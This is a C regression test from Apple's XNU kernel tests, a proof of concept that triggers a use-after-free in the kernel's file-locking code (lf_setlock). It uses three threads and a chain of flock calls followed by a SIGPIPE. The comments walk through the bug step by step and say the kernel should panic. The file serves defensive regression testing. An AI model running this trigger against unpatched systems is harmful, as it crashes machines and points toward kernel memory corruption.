]> git.saurik.com Git - apple/xnu.git/blob - tests/lockf_uaf_poc/lockf_uaf_poc_70587638.c
xnu-7195.101.1.tar.gz
[apple/xnu.git] / tests / lockf_uaf_poc / lockf_uaf_poc_70587638.c
1 #include <fcntl.h>
2 #include <pthread.h>
3 #include <signal.h>
4 #include <sys/fcntl.h>
5 #include <unistd.h>
6 #include <darwintest.h>
7 #include <darwintest_utils.h>
8
9 T_GLOBAL_META(
10 T_META_NAMESPACE("xnu.ipc"),
11 T_META_RUN_CONCURRENTLY(TRUE));
12
13 #define TMP_FILE_NAME "lockf_uaf_poc_70587638"
14
15 static int fd0, fd1, fd2;
16
17 static int other_failure = 0;
18 static int other_failure_line = 0;
19
20 static pthread_t thr0, thr1, thr2;
21
22 #define RECORD_ERROR(err) do { \
23 if (other_failure_line == 0) { \
24 other_failure = (err); \
25 other_failure_line = __LINE__; \
26 } \
27 } while (0);
28 #define MYCHECK_ERRNO(res) do { \
29 if ((res) < 0) { \
30 RECORD_ERROR((errno)); \
31 return NULL; \
32 } \
33 } while (0)
34 #define MYCHECK_POSIX(res) do { \
35 if ((res) != 0) { \
36 RECORD_ERROR((res)); \
37 return NULL; \
38 } \
39 } while (0)
40
41 #define CHECK_OTHER_FAILURE() do { \
42 int my_other_failure = other_failure; \
43 int my_other_failure_line = other_failure_line; \
44 my_other_failure_line = 0; \
45 T_QUIET; \
46 T_ASSERT_EQ(my_other_failure_line, 0, \
47 "Other failure %d at line %d", \
48 my_other_failure, my_other_failure_line); \
49 } while (0);
50
51 static void *
52 thr2_func(void *arg)
53 {
54 int res;
55
56 /*
57 * Wait for thr1 to be blocking on attempting to acquire lock C. See the comment at the top of
58 * `thr1_func` for the reason why sleep is used.
59 */
60 (void) sleep(1u);
61
62 /*
63 * Acquire another shared lock (lock D) on the file. At this point the file has acquired 2
64 * locks; lock A and D which are both shared locks. It also has 2 exclusive locks currently
65 * blocking on lock A attempting to be acquired; lock B and C.
66 */
67 res = flock(fd2, LOCK_SH);
68 MYCHECK_ERRNO(res);
69
70 /*
71 * Unlock lock A, this will cause the first lock blocking on lock A to be unblocked (lock B)
72 * and all other locks blocking on it to be moved to blocking on the first blocked lock
73 * (lock C will now be blocking on lock B). Lock B's thread will be woken up resulting in it
74 * trying to re-acquire the lock on the file, as lock D is on the same file descriptor and
75 * already acquired on the file it will be promoted to an exclusive lock and B will be freed
76 * instead. At this point all locks blocking on lock B (lock C in this case) will now have a
77 * reference to a freed allocation.
78 */
79 res = flock(fd0, LOCK_UN);
80 MYCHECK_ERRNO(res);
81
82 return arg;
83 }
84
85 static void *
86 thr1_func(void *arg)
87 {
88 int res;
89 /*
90 * Wait for thr0 to be blocking on attempting to acquire lock B. Sleeping isn't great because
91 * it isn't an indication that the thread is blocked but I'm unsure how to detect a blocked
92 * thread programatically and a 1 second sleep has never failed so far of tests so for now that
93 * is what is done.
94 */
95 (void) sleep(1u);
96
97 // Another thread is required, spawn it now before blocking
98 res = pthread_create(&thr2, 0, thr2_func, 0);
99 MYCHECK_POSIX(res);
100
101 // Block attempting to acquire an exclusive lock - lock C
102 res = flock(fd1, LOCK_EX);
103 MYCHECK_ERRNO(res);
104
105 return arg;
106 }
107
108 static void *
109 thr0_func(void *arg)
110 {
111 int res;
112
113 // Acquire a shared lock - lock A
114 res = flock(fd0, LOCK_SH);
115 MYCHECK_ERRNO(res);
116
117 // Another thread is required, spawn it now before blocking
118 res = pthread_create(&thr1, 0, thr1_func, 0);
119 MYCHECK_POSIX(res);
120
121 // Block attempting to acquire an exclusive lock - lock B
122 res = flock(fd2, LOCK_EX);
123 MYCHECK_ERRNO(res);
124
125 return arg;
126 }
127
128 static void
129 sigpipe_handler(int sig __unused, siginfo_t *sa __unused, void *ign __unused)
130 {
131 return;
132 }
133
134 T_DECL(lockf_uaf_poc_70587638,
135 "Do a sequence which caused lf_setlock() to free something still in-use.",
136 T_META_ASROOT(true), T_META_CHECK_LEAKS(false))
137 {
138 int res;
139 struct sigaction sa;
140
141 T_SETUPBEGIN;
142
143 (void) sigfillset(&sa.sa_mask);
144 sa.sa_sigaction = sigpipe_handler;
145 sa.sa_flags = SA_SIGINFO;
146 T_ASSERT_POSIX_SUCCESS(sigaction(SIGPIPE, &sa, NULL), "sigaction(SIGPIPE)");
147
148 // Setup all the file descriptors needed (fd0's open makes sure the file exists)
149 T_ASSERT_POSIX_SUCCESS(
150 fd0 = open(TMP_FILE_NAME, O_RDONLY | O_CREAT, 0666),
151 "open(\""TMP_FILE_NAME"\", O_RDONLY|O_CREAT, 0666)");
152 T_ASSERT_POSIX_SUCCESS(
153 fd1 = open(TMP_FILE_NAME, O_RDONLY, 0666),
154 "open(\""TMP_FILE_NAME"\", O_RDONLY, 0666)");
155 T_ASSERT_POSIX_SUCCESS(
156 fd2 = open(TMP_FILE_NAME, 0, 0666),
157 "open(\""TMP_FILE_NAME"\", O_RDONLY, 0666)");
158 T_SETUPEND;
159
160 /*
161 * Threads are used due to some locks blocking the thread when trying to acquire if a lock that
162 * blocks the requested lock already exists on the file. By using multiple threads there can be
163 * multiple locks blocking on attempting to acquire on a file.
164 */
165 res = pthread_create(&thr0, 0, thr0_func, 0);
166 T_ASSERT_POSIX_ZERO(res, "pthread_create thread 0");
167
168 /*
169 * Wait for lock B to be acquired which under the hood actually results in lock D being
170 * promoted to an exclusive lock and lock B being freed. At this point the bug has been
171 * triggered leaving lock C with a dangling pointer to lock B.
172 */
173 res = pthread_join(thr0, NULL);
174 T_ASSERT_POSIX_ZERO(res, "pthread_join thread 0");
175
176 CHECK_OTHER_FAILURE();
177
178 // Trigger a signal to wake lock C from sleep causing it to do a UAF access on lock B
179 res = pthread_kill(thr1, SIGPIPE);
180 T_ASSERT_POSIX_ZERO(res, "pthread_kill thread 1");
181
182 CHECK_OTHER_FAILURE();
183
184 /*
185 * The kernel should panic at this point. This is just to prevent the
186 * application exiting before lock C's thread has woken from the signal.
187 * The application exiting isn't a problem but it will cause all the
188 * fd to be closed which will cause locks to be unlocked. This
189 * shouldn't prevent the PoC from working but its just cleaner to
190 * wait here for the kernel to panic rather than exiting the process.
191 */
192 res = pthread_join(thr1, NULL);
193 T_ASSERT_POSIX_ZERO(res, "pthread_join thread 1");
194
195 CHECK_OTHER_FAILURE();
196
197 T_PASS("lockf_uaf_poc_70587638");
198 }